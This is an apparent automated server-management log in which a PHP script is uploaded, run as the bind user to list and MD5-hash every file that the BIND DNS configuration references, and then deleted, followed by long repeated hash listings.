MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:40:30: Establishing a connection
2026-04-30 15:40:30: 

PUT: /tmp/pkp317278

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:40:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp317278; rm /tmp/pkp317278'

2026-04-30 15:40:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 15:40:31: Establishing a connection
2026-04-30 15:40:31: 

PUT: /tmp/pkp601561

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 15:40:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp601561; rm /tmp/pkp601561'

2026-04-30 15:40:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
